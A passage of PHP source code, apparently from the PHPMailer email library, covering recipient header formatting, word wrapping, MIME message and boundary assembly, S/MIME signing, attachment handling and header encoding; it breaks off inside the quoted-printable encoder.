     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
